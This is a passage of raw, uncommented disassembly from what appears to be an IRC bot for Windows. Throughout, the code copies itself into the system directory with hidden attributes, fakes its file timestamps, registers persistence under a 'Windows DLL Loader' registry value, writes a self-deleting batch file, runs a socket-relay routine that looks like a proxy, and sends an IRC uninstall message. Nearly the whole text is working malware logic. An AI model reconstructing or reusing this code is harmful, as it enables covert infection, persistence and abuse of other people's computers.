[ebp+var_4], 1 jz short loc_4068FF cmp [ebp+var_4], 2 jnz short loc_406915 loc_4068FF: ; CODE XREF: sub_406722+1D5j push [ebp+var_214] push offset dword_418B64 push [ebp+arg_0] call sub_40D53F add esp, 0Ch loc_406915: ; CODE XREF: sub_406722+1DBj cmp [ebp+var_4], 4 jnz short loc_406933 mov eax, [ebp+var_214] push dword ptr [eax] push offset dword_418B5C push [ebp+arg_0] call sub_40D53F add esp, 0Ch loc_406933: ; CODE XREF: sub_406722+1F7j cmp [ebp+var_4], 3 jnz loc_406A0C push 180h call sub_416B46 ; malloc pop ecx mov [ebp+var_420], eax mov eax, [ebp+var_420] and byte ptr [eax], 0 and [ebp+var_41C], 0 jmp short loc_40696D ; --------------------------------------------------------------------------- loc_406960: ; CODE XREF: sub_406722+2C3j mov eax, [ebp+var_41C] inc eax mov [ebp+var_41C], eax loc_40696D: ; CODE XREF: sub_406722+23Cj mov eax, [ebp+var_41C] cmp eax, [ebp+var_8] jnb short loc_4069EA mov eax, [ebp+var_214] add eax, [ebp+var_41C] movzx eax, byte ptr [eax] push eax push offset dword_418B54 lea eax, [ebp+var_424] push eax call sub_416B5E ; sprintf add esp, 0Ch push [ebp+var_420] call sub_416B40 ; strlen pop ecx add eax, 3 cmp eax, 180h jb short loc_4069D1 push [ebp+var_420] push offset dword_418B64 push [ebp+arg_0] call sub_40D53F add esp, 0Ch mov eax, [ebp+var_420] and byte ptr [eax], 0 loc_4069D1: ; CODE XREF: sub_406722+28Ej lea eax, [ebp+var_424] push eax push [ebp+var_420] call sub_416B70 ; _mbscat pop ecx pop ecx jmp loc_406960 ; --------------------------------------------------------------------------- loc_4069EA: ; CODE XREF: sub_406722+254j push [ebp+var_420] push offset dword_418B64 push [ebp+arg_0] call sub_40D53F add esp, 0Ch push [ebp+var_420] call sub_416B4C ; free pop ecx loc_406A0C: ; CODE XREF: sub_406722+1CBj ; sub_406722+215j push [ebp+var_214] call sub_416B4C ; free pop ecx push [ebp+var_C] call dword_417028 ; RegCloseKey locret_406A21: ; CODE XREF: sub_406722+Fj ; sub_406722+20j ... leave retn sub_406722 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A23 proc near ; CODE XREF: sub_40D043:loc_40D18Dp ; sub_40D871:loc_40DB71p var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch push 104h lea eax, [ebp+var_20C] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset dword_41DD14 lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_104] push eax call sub_4105FB pop ecx lea eax, [ebp+var_104] push eax lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_20C] push eax call dword_4170AC ; DeleteFileA push offset dword_4182AC lea eax, [ebp+var_20C] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_108], eax cmp [ebp+var_108], 0 jz short locret_406AE5 push [ebp+var_108] push 1 push 2 push offset dword_418DE0 call sub_416B7C ; fwrite add esp, 10h push [ebp+var_108] call sub_416B82 ; fclose pop ecx lea eax, [ebp+var_20C] push eax call sub_406B81 pop ecx locret_406AE5: ; CODE XREF: sub_406A23+90j leave retn sub_406A23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AE7 proc near ; CODE XREF: sub_40D043+13Dp ; sub_40D871+2F3p var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch push 104h lea eax, [ebp+var_20C] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset dword_41DD14 lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_104] push eax call sub_4105FB pop ecx lea eax, [ebp+var_104] push eax lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset aRb ; "rb" lea eax, [ebp+var_20C] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_108], eax cmp [ebp+var_108], 0 jz short loc_406B7D push [ebp+var_108] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_406B7F ; --------------------------------------------------------------------------- loc_406B7D: ; CODE XREF: sub_406AE7+83j xor eax, eax locret_406B7F: ; CODE XREF: sub_406AE7+94j leave retn sub_406AE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B81 proc near ; CODE XREF: sub_406A23+BCp ; sub_406E8E+246p var_120 = dword ptr -120h var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 120h push 104h lea eax, [ebp+var_11C] push eax call dword_417040 ; GetWindowsDirectoryA push offset dword_418DE8 lea eax, [ebp+var_11C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push 0 push 80h push 3 push 0 push 1 push 80000000h lea eax, [ebp+var_11C] push eax call dword_417044 ; CreateFileA mov [ebp+var_120], eax cmp [ebp+var_120], 0FFFFFFFFh jz short locret_406C4F lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+var_120] call dword_417048 ; GetFileTime push [ebp+var_120] call dword_4170A4 ; CloseHandle push 0 push 80h push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call dword_417044 ; CreateFileA mov [ebp+var_120], eax cmp [ebp+var_120], 0FFFFFFFFh jz short locret_406C4F lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+var_120] call dword_41704C ; SetFileTime push [ebp+var_120] call dword_4170A4 ; CloseHandle locret_406C4F: ; CODE XREF: sub_406B81+5Aj ; sub_406B81+A8j leave retn sub_406B81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C51 proc near ; CODE XREF: sub_406E8E+133p ; sub_406E8E+214p ... var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 108h push 0 lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call dword_417014 ; RegCreateKeyExA cmp [ebp+arg_0], 0 jz short loc_406CE1 push 104h lea eax, [ebp+var_108] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_108] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push [ebp+arg_8] lea eax, [ebp+var_108] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_108] push eax call dword_41703C ; lstrlen inc eax push eax lea eax, [ebp+var_108] push eax push 1 push 0 push [ebp+arg_4] push [ebp+var_4] call dword_417010 ; RegSetValueExA jmp short loc_406CED ; --------------------------------------------------------------------------- loc_406CE1: ; CODE XREF: sub_406C51+30j push [ebp+arg_4] push [ebp+var_4] call dword_417004 ; RegDeleteValueA loc_406CED: ; CODE XREF: sub_406C51+8Ej push [ebp+var_4] call dword_417028 ; RegCloseKey leave retn sub_406C51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406CF8 proc near ; CODE XREF: sub_406D47+2Bp ; sub_406E8E+253p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov [ebp+var_8], eax push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_C], eax and [ebp+var_4], 0 jmp short loc_406D1D ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_406CF8:loc_406D40j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_406D1D: ; CODE XREF: sub_406CF8+1Cj mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jnb short loc_406D42 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 5Ch jnz short loc_406D40 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea eax, [ecx+eax+1] mov [ebp+var_8], eax loc_406D40: ; CODE XREF: sub_406CF8+39j jmp short loc_406D16 ; --------------------------------------------------------------------------- loc_406D42: ; CODE XREF: sub_406CF8+2Bj mov eax, [ebp+var_8] leave retn sub_406CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D47 proc near ; CODE XREF: sub_406E8E+9p ; sub_407148+9p var_108 = byte ptr -108h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 108h push 104h lea eax, [ebp+var_108] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA lea eax, [ebp+var_108] push eax call sub_406CF8 pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] and byte ptr [eax], 0 lea eax, [ebp+var_108] push eax call dword_417038 ; SetCurrentDirectoryA leave retn sub_406D47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D90 proc near ; CODE XREF: sub_406E8E+25Ap ; sub_407148+168p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push 8 push 4 call sub_4103F5 pop ecx pop ecx mov [ebp+var_20], eax and [ebp+var_1C], 0 loc_406DA8: ; CODE XREF: sub_406D90:loc_406DDFj push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_1C] mov [ebp+ecx+var_18], al mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax mov eax, [ebp+var_1C] cmp eax, [ebp+var_20] jnz short loc_406DDF push offset a_bat ; ".bat" mov eax, [ebp+var_1C] lea eax, [ebp+eax+var_18] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_406DE1 ; --------------------------------------------------------------------------- loc_406DDF: ; CODE XREF: sub_406D90+37j jmp short loc_406DA8 ; --------------------------------------------------------------------------- loc_406DE1: ; CODE XREF: sub_406D90+4Dj push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax push 400h call sub_416B46 ; malloc pop ecx mov [ebp+var_24], eax lea eax, [ebp+var_18] push eax call dword_4170AC ; DeleteFileA push 0 push 0 push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_18] push eax call dword_417044 ; CreateFileA mov [ebp+var_28], eax cmp [ebp+var_28], 0FFFFFFFFh jnz short loc_406E2B xor eax, eax jmp short locret_406E8C ; --------------------------------------------------------------------------- loc_406E2B: ; CODE XREF: sub_406D90+95j lea eax, [ebp+var_18] push eax push [ebp+arg_0] push [ebp+arg_0] push [ebp+arg_0] push offset a@echoOffDelete ; "@echo off\r\n:deleteagain\r\ndel /A:H /F %s"... push [ebp+var_24] call dword_4171E0 ; wsprintfA add esp, 18h and [ebp+var_4], 0 push 0 lea eax, [ebp+var_4] push eax push [ebp+var_24] call sub_416B40 ; strlen pop ecx push eax push [ebp+var_24] push [ebp+var_28] call dword_417068 ; WriteFile push [ebp+var_28] call dword_4170A4 ; CloseHandle push 0 push 0 push 0 lea eax, [ebp+var_18] push eax push offset aOpen ; "open" push 0 call dword_4171D0 push 1 pop eax locret_406E8C: ; CODE XREF: sub_406D90+99j leave retn sub_406D90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406E8E proc near ; CODE XREF: sub_4167F1:loc_4169E1p var_368 = dword ptr -368h var_338 = word ptr -338h var_324 = byte ptr -324h var_220 = dword ptr -220h var_21C = byte ptr -21Ch var_118 = byte ptr -118h var_14 = dword ptr -14h var_10 = byte ptr -10h push ebp mov ebp, esp sub esp, 368h call sub_406D47 push 104h lea eax, [ebp+var_324] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA and [ebp+var_14], 0 and [ebp+var_220], 0 jmp short loc_406ED1 ; --------------------------------------------------------------------------- loc_406EC4: ; CODE XREF: sub_406E8E:loc_406FF8j mov eax, [ebp+var_220] inc eax mov [ebp+var_220], eax loc_406ED1: ; CODE XREF: sub_406E8E+34j mov eax, [ebp+var_220] shl eax, 1 cmp off_418B88[eax*4], 0 jz loc_406FFD mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax push 104h lea eax, [ebp+var_21C] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_21C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_21C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_324] push eax lea eax, [ebp+var_21C] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_406FF8 mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] push 1 call sub_406C51 add esp, 0Ch mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] call sub_4105AD pop ecx jmp locret_407146 ; --------------------------------------------------------------------------- loc_406FF8: ; CODE XREF: sub_406E8E+E3j jmp loc_406EC4 ; --------------------------------------------------------------------------- loc_406FFD: ; CODE XREF: sub_406E8E+53j push [ebp+var_14] push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_14], eax push 104h lea eax, [ebp+var_118] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_118] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_118] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_118] push eax call dword_4170AC ; DeleteFileA loc_40707C: ; DATA XREF: BrattyUS:0041AD4Co ; BrattyUS:0041AD60o ... push 0 lea eax, [ebp+var_118] push eax lea eax, [ebp+var_324] push eax call dword_417060 ; CopyFileA test eax, eax jnz short loc_4070AF push offset dword_41EBFC push offset aWindowsDllLoad ; "Windows DLL Loader" push 1 call sub_406C51 add esp, 0Ch jmp locret_407146 ; --------------------------------------------------------------------------- loc_4070AF: ; CODE XREF: sub_406E8E+206j push 4 lea eax, [ebp+var_118] push eax call dword_4170A8 ; SetFileAttributesA push 2 lea eax, [ebp+var_118] push eax call dword_4170A8 ; SetFileAttributesA lea eax, [ebp+var_118] push eax call sub_406B81 pop ecx lea eax, [ebp+var_324] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx push 44h push 0 lea eax, [ebp+var_368] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_368], 44h and [ebp+var_338], 0 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_368] push eax push 0 push 0 push 28h push 1 push 0 push 0 lea eax, [ebp+var_118] push eax push 0 call dword_41707C ; CreateProcessA call dword_417254 ; WSACleanup push 0 call sub_416BFC ; exit locret_407146: ; CODE XREF: sub_406E8E+165j ; sub_406E8E+21Cj leave retn sub_406E8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407148 proc near ; CODE XREF: sub_402A32+7BBp ; sub_40A9CF+145Fp ... var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch call sub_406D47 push 104h lea eax, [ebp+var_20C] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA and [ebp+var_108], 0 jmp short loc_407187 ; --------------------------------------------------------------------------- loc_40717A: ; CODE XREF: sub_407148:loc_4072DBj mov eax, [ebp+var_108] inc eax mov [ebp+var_108], eax loc_407187: ; CODE XREF: sub_407148+30j mov eax, [ebp+var_108] shl eax, 1 cmp off_418B88[eax*4], 0 jz loc_4072E0 push 104h lea eax, [ebp+var_104] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_104] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_104] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_104] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_4072DB mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] push 0 call sub_406C51 add esp, 0Ch mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_20C] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx test eax, eax jz short loc_4072D9 push offset dword_41EBFC push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_40D6CB pop ecx pop ecx call dword_417254 ; WSACleanup push 0 call dword_41705C ; ExitProcess loc_4072D9: ; CODE XREF: sub_407148+170j jmp short locret_40732B ; --------------------------------------------------------------------------- loc_4072DB: ; CODE XREF: sub_407148+D8j jmp loc_40717A ; --------------------------------------------------------------------------- loc_4072E0: ; CODE XREF: sub_407148+4Fj push offset dword_41EBFC push offset aWindowsDllLoad ; "Windows DLL Loader" push 0 call sub_406C51 add esp, 0Ch lea eax, [ebp+var_20C] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx test eax, eax jz short locret_40732B push offset dword_41EBFC push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_40D6CB pop ecx pop ecx call dword_417254 ; WSACleanup push 0 call dword_41705C ; ExitProcess locret_40732B: ; CODE XREF: sub_407148:loc_4072D9j ; sub_407148+1C2j leave retn sub_407148 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40732D proc near ; DATA XREF: sub_40764D+145o var_16F0 = dword ptr -16F0h var_16EC = dword ptr -16ECh var_16E8 = dword ptr -16E8h var_16E4 = dword ptr -16E4h var_16E0 = byte ptr -16E0h var_6E0 = byte ptr -6E0h var_5E0 = dword ptr -5E0h var_5DC = byte ptr -5DCh var_5D4 = dword ptr -5D4h var_5D0 = byte ptr -5D0h var_5CF = byte ptr -5CFh var_5CE = dword ptr -5CEh var_5C8 = byte ptr -5C8h var_1C8 = dword ptr -1C8h var_1BE = byte ptr -1BEh var_1AE = byte ptr -1AEh var_1B = byte ptr -1Bh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 16F0h call sub_416BC0 push 1BDh push [ebp+arg_0] lea eax, [ebp+var_1C8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov eax, [ebp+var_1C8] mov [ebp+var_5D4], eax push 0 push 408h lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call dword_417248 ; recv mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_40738F cmp [ebp+var_8], 0FFFFFFFFh jnz short loc_407396 loc_40738F: ; CODE XREF: sub_40732D+5Aj xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_407396: ; CODE XREF: sub_40732D+60j movzx eax, [ebp+var_5D0] cmp eax, 4 jnz short loc_4073BA movzx eax, [ebp+var_5CF] cmp eax, 1 jnz short loc_4073BA mov [ebp+var_16EC], 1 jmp short loc_4073C1 ; --------------------------------------------------------------------------- loc_4073BA: ; CODE XREF: sub_40732D+73j ; sub_40732D+7Fj and [ebp+var_16EC], 0 loc_4073C1: ; CODE XREF: sub_40732D+8Bj mov eax, [ebp+var_16EC] mov [ebp+var_4], eax movsx eax, [ebp+var_1BE] test eax, eax jz short loc_4073F5 push 10h lea eax, [ebp+var_1BE] push eax lea eax, [ebp+var_5C8] push eax call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jz short loc_4073F5 and [ebp+var_4], 0 loc_4073F5: ; CODE XREF: sub_40732D+A6j ; sub_40732D+C2j movsx eax, [ebp+var_1B] test eax, eax jz short loc_407456 lea eax, [ebp+var_6E0] push eax push [ebp+var_5D4] call sub_4044F7 pop ecx pop ecx cmp [ebp+var_4], 0 jz short loc_407423 mov [ebp+var_16F0], offset byte_41DF00 jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407423: ; CODE XREF: sub_40732D+E8j mov [ebp+var_16F0], offset dword_418EEC loc_40742D: ; CODE XREF: sub_40732D+F4j push [ebp+var_16F0] movzx eax, [ebp+var_5D0] push eax lea eax, [ebp+var_6E0] push eax push offset dword_418EB8 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 14h loc_407456: ; CODE XREF: sub_40732D+CEj cmp [ebp+var_4], 0 jnz short loc_4074A0 push 8 push 0 lea eax, [ebp+var_5D0] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_5CF], 5Bh push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch push [ebp+var_5D4] call sub_40538D pop ecx xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_4074A0: ; CODE XREF: sub_40732D+12Dj push 0Ah lea eax, [ebp+var_5DC] push eax push [ebp+var_5CE] call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 2710h push 0 lea eax, [ebp+var_5DC] push eax push [ebp+var_5CE+2] call dword_41721C ; inet_ntoa push eax call sub_4050EA add esp, 10h mov [ebp+var_5E0], eax push 8 push 0 lea eax, [ebp+var_5D0] push eax call sub_416B6A ; memset add esp, 0Ch cmp [ebp+var_5E0], 0 jnz short loc_407537 mov [ebp+var_5CF], 5Bh push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch push [ebp+var_5D4] call sub_40538D pop ecx xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_407537: ; CODE XREF: sub_40732D+1D7j mov [ebp+var_5CF], 5Ah push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch loc_407555: ; CODE XREF: sub_40732D+2FDj push [ebp+var_5D4] call sub_40447B pop ecx test eax, eax jz short loc_4075BD push 0 push 1000h lea eax, [ebp+var_16E0] push eax push [ebp+var_5D4] call dword_417248 ; recv mov [ebp+var_16E4], eax cmp [ebp+var_16E4], 0 jz short loc_407597 cmp [ebp+var_16E4], 0FFFFFFFFh jnz short loc_40759C loc_407597: ; CODE XREF: sub_40732D+25Fj jmp loc_40762F ; --------------------------------------------------------------------------- loc_40759C: ; CODE XREF: sub_40732D+268j push [ebp+var_16E4] lea eax, [ebp+var_16E0] push eax push [ebp+var_5E0] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_4075BD jmp short loc_40762F ; --------------------------------------------------------------------------- loc_4075BD: ; CODE XREF: sub_40732D+236j ; sub_40732D+28Cj push [ebp+var_5E0] call sub_40447B pop ecx test eax, eax jz short loc_407622 push 0 push 1000h lea eax, [ebp+var_16E0] push eax push [ebp+var_5E0] call dword_417248 ; recv mov [ebp+var_16E8], eax cmp [ebp+var_16E8], 0 jz short loc_4075FF cmp [ebp+var_16E8], 0FFFFFFFFh jnz short loc_407601 loc_4075FF: ; CODE XREF: sub_40732D+2C7j jmp short loc_40762F ; --------------------------------------------------------------------------- loc_407601: ; CODE XREF: sub_40732D+2D0j push [ebp+var_16E8] lea eax, [ebp+var_16E0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_407622 jmp short loc_40762F ; --------------------------------------------------------------------------- loc_407622: ; CODE XREF: sub_40732D+29Ej ; sub_40732D+2F1j push 32h call dword_41709C ; Sleep jmp loc_407555 ; --------------------------------------------------------------------------- loc_40762F: ; CODE XREF: sub_40732D:loc_407597j ; sub_40732D+28Ej ... push [ebp+var_5D4] call sub_40538D pop ecx push [ebp+var_5E0] call sub_40538D pop ecx xor eax, eax locret_407649: ; CODE XREF: sub_40732D+64j ; sub_40732D+16Ej ... leave retn 4 sub_40732D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40764D proc near ; DATA XREF: sub_4077DD+B4o var_1CC = dword ptr -1CCh var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_1B6 = byte ptr -1B6h var_1A6 = byte ptr -1A6h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh push 1BDh push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp+var_1BC] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_1C4], eax cmp [ebp+var_1C4], 0 jnz short loc_4076A8 push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_4077D9 ; --------------------------------------------------------------------------- loc_4076A8: ; CODE XREF: sub_40764D+46j lea eax, [ebp+var_1BC] push eax mov eax, [ebp+var_1C0] push dword ptr [eax] push offset dword_418EF8 lea eax, [ebp+var_1A6] push eax call sub_40D53F add esp, 10h loc_4076CB: ; CODE XREF: sub_40764D+B9j ; sub_40764D+E1j ... push 3E8h push [ebp+var_1C4] call sub_4048EF pop ecx pop ecx mov [ebp+var_1C8], eax mov eax, [ebp+var_1C0] cmp dword ptr [eax+4], 0 jnz short loc_4076F8 cmp [ebp+var_1C8], 0 jnz short loc_4076FD loc_4076F8: ; CODE XREF: sub_40764D+A0j jmp loc_4077BF ; --------------------------------------------------------------------------- loc_4076FD: ; CODE XREF: sub_40764D+A9j cmp [ebp+var_1C8], 0FFFFFFFFh jnz short loc_407708 jmp short loc_4076CB ; --------------------------------------------------------------------------- loc_407708: ; CODE XREF: sub_40764D+B7j push 1BDh call sub_416B46 ; malloc pop ecx mov [ebp+var_1CC], eax cmp [ebp+var_1CC], 0 jnz short loc_407730 push [ebp+var_1C8] call sub_4053B1 pop ecx jmp short loc_4076CB ; --------------------------------------------------------------------------- loc_407730: ; CODE XREF: sub_40764D+D3j mov eax, [ebp+var_1CC] mov ecx, [ebp+var_1C8] mov [eax], ecx lea eax, [ebp+var_1BC] push eax mov eax, [ebp+var_1CC] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_1B6] push eax mov eax, [ebp+var_1CC] add eax, 0Ah push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 1A3h lea eax, [ebp+var_1A6] push eax mov eax, [ebp+var_1CC] add eax, 1Ah push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_1CC] push offset sub_40732D call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_4077BA push [ebp+var_1CC] call sub_416B4C ; free pop ecx push [ebp+var_1C8] call sub_4053B1 pop ecx loc_4077BA: ; CODE XREF: sub_40764D+153j jmp loc_4076CB ; --------------------------------------------------------------------------- loc_4077BF: ; CODE XREF: sub_40764D:loc_4076F8j push [ebp+var_1C4] call sub_404CBB pop ecx push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax locret_4077D9: ; CODE XREF: sub_40764D+56j leave retn 4 sub_40764D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4077DD proc near ; CODE XREF: sub_40A9CF+17Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_4], 0 jnz short loc_40780F push 0Ah lea eax, [ebp+var_8] push eax push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_8] mov [ebp+arg_4], eax loc_40780F: ; CODE XREF: sub_4077DD+Aj push 1BDh call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_407825 jmp short locret_40789E ; --------------------------------------------------------------------------- loc_407825: ; CODE XREF: sub_4077DD+44j push [ebp+arg_4] mov eax, [ebp+var_C] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp 